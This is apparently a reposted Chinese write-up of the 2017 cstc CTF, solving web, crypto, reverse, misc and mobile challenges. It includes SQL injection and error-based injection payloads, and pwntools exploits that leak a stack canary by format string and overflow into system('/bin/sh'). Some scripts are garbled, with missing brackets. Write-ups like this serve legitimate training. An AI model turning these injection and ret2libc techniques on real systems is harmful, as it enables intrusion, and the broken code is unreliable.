ctf 抓捕赵德汉_第三届网络空间安全技术大赛 WriteUp（cstc2017）

原创

瀚海星星123 于 2020-12-30 06:06:40 发布 192 收藏
文章标签： ctf抓捕赵德汉

本文链接：https://blog.csdn.net/weixin_33304686/article/details/112036507

web 1 签到题

1.看源码发现是php隐士转换直接 Username=QNKCDZO，password=240610708 ，得到下一个地址 http://117.34.111.15:84/json.php2.继续右键看源码

2.继续右键看源码

QQ20170418-131112.png (32.74 KB, 下载次数: 269)

2017-4-18 13:15 上传

3.又是弱类型

Web2 抽奖

看到 jQuery.js 有点异常，打开源码，

然后直接在控制台输入 getFlag，得到 flag

(function() {

window.getFlag=function(text){ if(text=='1'){ alert("你最厉害啦!可惜没flag") } if(text=='2'){ alert("你太厉害了,竟然是二等奖") } if(text=='3'){ alert("你好厉害,三等奖啊") } if(text=='flag'){ alert("flag{951c712ac2c3e57053c43d80c0a9e543}") } if(text=='0'){ alert("再来一次吧") } }

})复制代码Web3 继续抽

查看源代码，看代码

$.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {

alert(jsctf3['text'])

}, 'json');复制代码

于是构造请求 'http://117.34.111.15:81/get.php?token='+token+'&id='+id ，试了下 encode(md5('1'))、encode(md5('2'))、encode(md5('3'))，均没出来 flag ，于是写了 python 脚本，跑构造好的字典

```
# -- coding:utf-8 --

import requests

import pyquery
```

```
file = open('zd.txt','r')

for line in file.readlines():

id = line.strip('\n')

url = 'http://117.34.111.15:81/'

headers = {

'Accept-Encoding': 'gzip, deflate, sdch, br',

'Connection': 'keep-alive',

'Cache-Control':'max-age=0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Mobile/14B150 MicroMessenger/6.5.1 NetType/WIFI Language/zh_CN',

'Upgrade-Insecure-Requests':'1',

'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4',

}

s = requests.Session()

r = s.get(url=url,headers=headers).text

c = pyquery.PyQuery(r)

token = c('#token').val()

url2 = 'http://117.34.111.15:81/get.php?token='+token+'&id='+id

r2 = s.get(url=url2,headers=headers)

str = r2.text

print str.decode('unicode_escape').encode('utf-8'), id复制代码
```

于是跑出 flag，也就是当 encode(md5('147')) 时，

方法2：源碼大法

view-source:http://xxx:81/Payload

看了下源碼，爆破function orz(t){ $.get('token.php', function(token){ console.log(token); $.get("get.php?token=" + token + "&id=" + encode(md5(t)), function(jsctf3){ console.log(jsctf3); if(jsctf3['text'].indexOf('flag{')>-1){ alert(jsctf3['text']); }else if(t<200){ orz(t+1); } }, 'json'); },'json');}orz(0);Get Flag

flag{b81cfec0285f75d4e36d2ccb2f7ec2c0}

Web4 Wrong

找到这个 .index.php.swp 通过恢复文件 vim -r index.php 得到下面源码

```
error_reporting(0);

function create_password($pw_length =  10)

{

$randpwd = "";

for ($i = 0; $i < $pw_length; $i++)

{

$randpwd .= chr(mt_rand(33, 126));

}

return $randpwd;

}

session_start();

mt_srand(time());

$pwd=create_password();

if($pwd==$_GET['pwd'])

{

if($_SESSION['userLogin']==$_GET['login'])

echo "Good job, you get the key";

}

else

{echo "Wrong!";}

$_SESSION['userLogin']=create_password(32).rand();

?>
```
复制代码

通过小小的审计得到思路 把cookie删掉 就可以过第二个if($SESSION['userLogin']==$GET['login'])<?php
```
  function create_password($pw_length =  10) {      $randpwd = "";      for ($i = 0; $i < $pw_length; $i++)      {
    $randpwd .= chr(mt_rand(33, 126));      }    return $randpwd;  }
mt_srand(1492307701);  $pwd=create_password();var_dump($pwd);  ?>
```

通过下面脚本得到一个随后的时间戳，用 burp 不断发包，等到时间到了设置的时间戳就会得到 flagweb4 so easy:waf拦截了逗号、空格、and、union等关键字，但是没有过滤mid、ascii、from等关键字，因为过滤了and，那就利用Mysql的位运算0'^1^1结果为0，拼接sql语句为select role from user where username ='0'^1^0成功得到查询到admin的role

利用bool型盲注进行注入，用()代替空格，用from 1 代替,写一个脚本跑一下，得到密码:37b1d2f04f594bfffc826fd69e389688

利用注入的密码去登录

这里直接用mysql字符问题解决，成功获取flag

WEB5 Web just a test簡單測試下就知道是字符集導致注入＆報錯注入爆表

select table_name from information_schema.tables limit %s,1

爆庫

select table_schema from information_schema.tables limit %s,1

爆字段

select column_name from information_schema.columns where table_name in (0x666c4067) limit %s,11

2http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,32,20) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"

http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,1,32) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"

萬能的sqlmap其實也能跑出來Get Flagflag{99cd1872c9b26525a8e5ec878d230caf}

Crypto1 签到 ~ echo "ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=" | base64 -
Dflag{WeiSuoFyu_BieLang} [size=0.8em][url=]Copy[/url]

Crypt2 200

小强不小心截获了两个老外同服务器的加密通信数据，看看他们在说些什么。。。

在通信流量中能找到 N 和E，猜测密文都是一样的，用共模攻击 得到 flag{flag{Hc0mm0nModulusR$AH}}Bin1 Now

程序使用自修改代码、第三方标准库等手段，影响静态分析。程序输入在00402047处，接着在004020E9检查长度是否为9。通过004038F0输出调用定位到关键输出在00402490函数中，此控制此函数关键之跳的dword_446184是在402640函数中确定的。细看下此函数，发现关键算法也在此处，将输入和xmmword_43AC00分别运算后进行比较，因为xmmword_43AC00的计算结果为定值，整理下即可反算出输入536724689，代码如下。check = [0x0b,0x06,0x15,0x0b,0x04,0x0e,0x16,0x10,0x31 input = " for i in range(3): s2 = check[3*i+1/2 s1 = check[3*i-2*s2 s3 = check[3*i+2-5*s2 input += chr(s1+0x30)+chr(s2+0x30)+chr(s3+0x30)print input [size=0.8em][url=]Copy[/url]

将输入代入程序即可得到后面一部分的flag：0ldWan9} 根据题目提示，终于在文件的详细资料里找到一串base64串，解之得到flag{aoot@mail:。 所以最终flag:flag{aoot@mail:0ldWan9}。Bin2 Magical Box# -*-coding:utf-8-*-from pwn import *context.log_level = "debug"r = remote("117.34.80.134", 7777)def leak(addr): r.recvuntil("you?\n") payload = "aa" + p32(addr) + "%5$s" r.sendline(payload) r.recvuntil("login!aa") r.recv(4) data = r.recvuntil("\n") data = data.replace("\n","") return datadef leak_canary(): r.recvuntil("you?\n") payload = "%7$p" r.sendline(payload) r.recvuntil("login!") data = r.recvuntil("\n") data = data.replace("\n", "") return datacanary = int(leak_canary(),16) print "canary: {0}".format(hex(canary))printf_got = 0x0804B010 leak_data = leak(printf_got) printf_addr = u32(leak_data[0:4) fflush_addr = u32(leak_data[4:8) print "printf:{0}".format(hex(printf_addr)) print "fflush: {0}".format(hex(fflush_addr)) libc = ELF("./libc.so.6") libc_base = printf_addr - libc.symbols["printf" system_addr = libc_base + libc.symbols["system" sh_addr = next(libc.search("/bin/sh")) + libc_base #attach()r.recvuntil("you?
\n") r.sendline("admin2017") r.recvuntil("commands.") r.sendline("add") r.recvuntil("APP/Site:
") r.sendline("a"*0x31) r.recvuntil("Username: ") r.sendline("b"*0x1d) r.recvuntil("Password: ") payload = "a"*30 payload += p32(canary) payload += "a"*0xc payload += p32(system_addr) payload += p32(sh_addr) payload += p32(sh_addr) r.sendline(payload)r.interactive() [size=0.8em][url=]Copy[/url]

Misc1 一维码

首先，从图片中进行 LSB 提取，能获取一个 ELF 文件。

76519164-file_1492348397533_13ebf.jpg (12.32 KB, 下载次数: 151)

2017-4-18 13:24 上传

又因为之前扫码得知一个针对可执行文件的隐写工具hydan，通过这个就能得到flag了。Misc3乾坤

在数据包导出http对象，里面有2个zip包(在linux下可以看得清楚)，解压后一个是flag.exe另一个是encode.py，encode.py是把flag进行多次b64替换并做处理，而flag.exe在最后面附带了密文，编写decode.py即可

flag{n1_hEn_baNg_0}Misc4 轨迹

USB流量捕获与解析，之前在360安全客看到过类似的题目，我记得好像还是XNUCA Misc专场的题。猜测又是画flag了，祭出我的神器！(当然也不是我的是github上的大神写的)

26696594-file_1492349034373_3a9b.jpg (86.16 KB, 下载次数: 161)

2017-4-18 13:24 上传

经过一番艰难的识别。。。。Misc5 种棵树吧

对第一个图片斌walk 得到一个gif，加上头，能得到 In-order {RY!heHVaL-goAl{dxj_GpnUw8}kzu*Er:s56fFl2i} strings 第二个图片得到 Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGulHh:r65f2lFsEi*}

二叉树就二叉树吗 ...真是的 由中序和后序画出二叉树，然后按层次遍历 得到hi!HEReIsYouFLAG:flag{n52V-jPU6d_kx8zw}

---

binwalk -Me final_new.zip复制代码从压缩包中递归提取出两张图片1111.jpg, 2222.jpg,又从1111.jpg中提取出一个gif

查看了图1，图2都没什么信息，在gif里查到了一段In-order开头的字符串信息

起初以为栅栏凯撒组合加密，跑了一通都没结果，后来队友在2222.jpg中发现了其他的提示信息

百度搜索In-order, Post-order，发现是树的两种遍历方式

根据两种遍历方式画出树，再层序输出就得到flag

Misc6 我们的秘密

对文件进行binwak secret.zip -e得到一个reame.txt文件，使用明文攻击，得到压缩包密码：3xatu2o17 解压后主要有两文件，一个音频，一个视频，音频中解摩尔斯得到CTFSECWAR2017，然后猜测题目的意思，our secret这是一款隐写软件，通过他和之前得到的字符串得到flag{v1de0_c0nc3a1_lala}

34757794-file_1492350154404_4c6b.jpg (153.59 KB, 下载次数: 160)

2017-4-18 13:24 上传

MOBILE1 拯救鲁班七号

题目对输入的字符串进行简单的变换，每个循环中，首先将当前index指向的相邻两个字符互换，然后将进入一个小循环依次每隔3个互换。加解密时需注意互换的边界。密文为“!S#@A4DF32511@43”，明文为“!@#@ASDF3451123”。 加解密代码：s = '!@#@ASDF34511234' print len(s) l = list(s) for i in range(1, len(l) - 1, 2): l[i, l[i - 1 = l[i - 1, l[i for j in range(4, len(l), 4): l[j - 4, l[j = l[j, l[j - 4print l print ''.join(l)# s = 'S!@#@1FD23154A34'# l = list(s)for i in range(((len(l) & (~1)) - 3), 0, -2): for j in range((len(l) - 1) & (~3), 3, -4): l[j - 4, l[j = l[j, l[j - 4 l[i, l[i - 1 = l[i - 1, l[iprint l print ''.join(l) print ''.join(l) == s [size=0.8em][url=]Copy[/url]

MOBILE 2 人民的名义-抓捕赵德汉1

首先从sqlite数据库里取一个字符串，id为2，表为users，取出来字符串为9838e888496bfda98afdbb98a9b9a9d9cdfa29，然后会将输入做一些变换与字符串比较，变换的规则为每个字符的低四位取反并转为十六进制，然后加上高四位与0xe异或。s = '9838e888496bfda98afdbb98a9b9a9d9cdfa29' l = [] for i in range(0, len(s), 2): l.append(chr((~int(s, 16) & 0xf) + ((int(s[i + 1], 16) ^ 0xe) << 4)))print l print ''.join(l) [size=0.8em][url=]Copy[/url]

MOBILE 3 人民的名义-抓捕赵德汉2

这个题有两种解法，第一种反编译newClassName.class，里面有个md5：fa3733c647dca53a66cf8df953c2d539 ，cmd5上查一下是monkey99就是flag。 第二种正统的做法，是反编译CheckPassword.class，发现里面动态加载了一个class，这个class使用aes加密存于ClassEnc文件中，aes密钥的十六进制是bb27630cf264f8567d185008c10c3f96 ，把这个ClassEnc文件解密，即可得到newClassName.class文件的内容，后面的步骤同第一个解法MOBILE 4 The Marauder's Map

本题使用双字节混淆，众所周知java是支持双字节变量名的，也就是说你可以起中文的变量名，这并不影响编译，因此可以直接反编译class代码，然后直接重新编译运行就好了。 这个题使用的是自己的system类，因此要注意不要和系统的system类弄混了。 这个题首先由一个复杂的字符串每个字符右移一位生成一个密钥，然后遍历输入，计算当前索引的斐波那契数列的值，作为对密钥的索引，然后拼接起来就是目标flag。 这里密钥的获取只能用java来实现，其余可以用Python来实现。 代码public static String getKey() { String x = ""; char[var5; int var4 = (var5 = "vè¾¤êê¬ÆÆêvì¤ê2ê2àÎ¤¸¬".toCharArray()).length; for(int var3 = 0; var3 < var4; ++var3) { char $ = var5[var3; x = x + (char)(($ >> 1) + 15); } return x;}[size=0.8em][url=]Copy[/url]

coding=utf-8def f(i): return f(i - 1) + f(i - 2) if i > 2 else 1def d(i, s): return f(i) % len(s)key = "JsnatterrtJuaththovacke" l = [i = 0 for _ in range(4): for k in range(4): l.append(key[d(i + k, key)) l.append('-') i += 5print ''.join(l)[:-1 [size=0.8em][url=]Copy[/url]

MOBILE 5 取证密码

本题lib中有一个字符串和一个整数数组，只要按整数数组里的顺序从字符串中取出字符，拼接起来就是flag 代码key = 'ylnS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W' l = [0x39, 0x20, 7, 0xA, 0x20, 0x29, 0x13, 2, 0x3A, 0xC, 0x11, 0x31, 0x3B, 0xB, 7s = [for i in l: s.append(key[i)print ''.join(s)

PWN200 - Magical Box

先checksec发现保护比较多，主要有canary

但是在刚开始的login阶段就能发现有格式化漏洞，通过%7$08x泄漏canary

接着就是要登陆成功，进入后面的模块，它这里是对输入的字符传与全局变量s异或，再与s2比较。

这里有个暗坑，因为我是从main函数开始分析起的，并没有发现s2在init阶段就与0xc异或处理过一次，导致刚开始一直算不出正确的用户名。

登陆后进入跳转表：

一个个分析过去，在s_AddAnNewAcc中发现selfInput(src, 0x32)处很明显溢出

接着就是编写合适的exp去get shell，这里使用puts泄漏puts()在内存中的地址，然后和libc中的system(),'/bin/sh'偏移计算的到其在内存中的地址。

exp:

```
#!/usr/bin/python

buf = [0x79, 0x3d, 0xf, 0x3, 0x44, 0x4b, 0x45, 0xa, 0x76, 0x0]

sbuf = "4Unf&uy7Mo"

#for ( i = 0; i < buflen(buf); ++i  )

#    v3[i] = buf[i] ^ *(_BYTE *)(i + 134525066);

#4Unf&uy7Mo

tempBuf = []

for i in xrange(len(sbuf)):

temp = ord(sbuf[i]) ^ 0xc

tempBuf += chr(temp)

str = ''

for i in xrange(len(buf)):

for j in range(0x0, 0xff):

#temp_j = j ^ ord(sbuf[i]);

temp_j = j ^ ord(tempBuf[i]);

if (temp_j == buf[i]):

print "buf(%#x)(%c) == after^ => (%#x)(%c) | buf = (%c)" %(j, chr(j), temp_j, chr(temp_j), sbuf[i])

str += chr(j)

break

print(str)
```

```
#!/usr/bin/python

from pwn import *

addNewAccAddr = 0x080489AC

#selfInput(char *buf, int Len)

selfInputAddr = 0x0804871D

bssAddr = 0x0804B100
```

```
putsPltAddr = 0x08048570
putsGotAddr = 0x0804B030
#p = process('./pwn_box')
p = remote('117.34.80.134', 7777)
pwnElf = ELF('./pwn_box')
libcELF = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p, '''b *0x08048ACD\n\rc\n\r''')
p.recvuntil('are you?')
p.sendline('%7$08x')
p.recvuntil('login!')
canary = p.recv(8)
canaryVal = eval('0x'+canary)
print "canary =  %s, %#x" %(canary, canaryVal)
p.recvuntil('you?')
p.sendline('Admin2017')
p.recvuntil('commands.')
p.sendline('?')
p.recvuntil('--\n')
p.sendline('add')
p.recvuntil('Site: ')
p.sendline('test')
p.recvuntil('Username: ')
p.sendline('test')
p.recvuntil('Password: ')
payloadHead = 'a' * 30 + p32(canaryVal)
payloadHead += 'b'*(46-len(payloadHead))
#payload += p32(selfInputAddr) + p32(addNewAccAddr) + p32(bssAddr) + p32(8)
#p.sendline(payload)
#p.send('/bin/sh\0')
```

```
payload1 = payloadHead + p32(putsPltAddr) + p32(addNewAccAddr) + p32(putsGotAddr)
p.sendline(payload1)
p.recvuntil('--\n\n')
putsAddr = u32(p.recv(4))
print 'putsPltAddr = ' +  hex(putsPltAddr)
print 'putsGotAddr = ' +  hex(putsGotAddr)
print 'putsAddr = ' +  hex(putsAddr)
# calculating system() & '/bin/sh'
systemAddr = putsAddr - (libcELF.symbols['puts'] - libcELF.symbols['system'])
print 'systemAddr = ' + hex(systemAddr)
binshAddr = putsAddr - (libcELF.symbols['puts'] - next(libcELF.search('/bin/sh')))
print 'binshAddr = ' + hex(binshAddr)
p.recvuntil('Site: ')
p.sendline('test')
p.recvuntil('Username: ')
p.sendline('test')
p.recvuntil('Password: ')
payload2 = payloadHead + p32(systemAddr) + p32(addNewAccAddr) + p32(binshAddr)
p.sendline(payload2)
p.interactive()复制代码
```

官方writeup.pdf

(4.42 MB, 下载次数: 2236)

2017-4-18 19:08 上传

点击文件名下载附件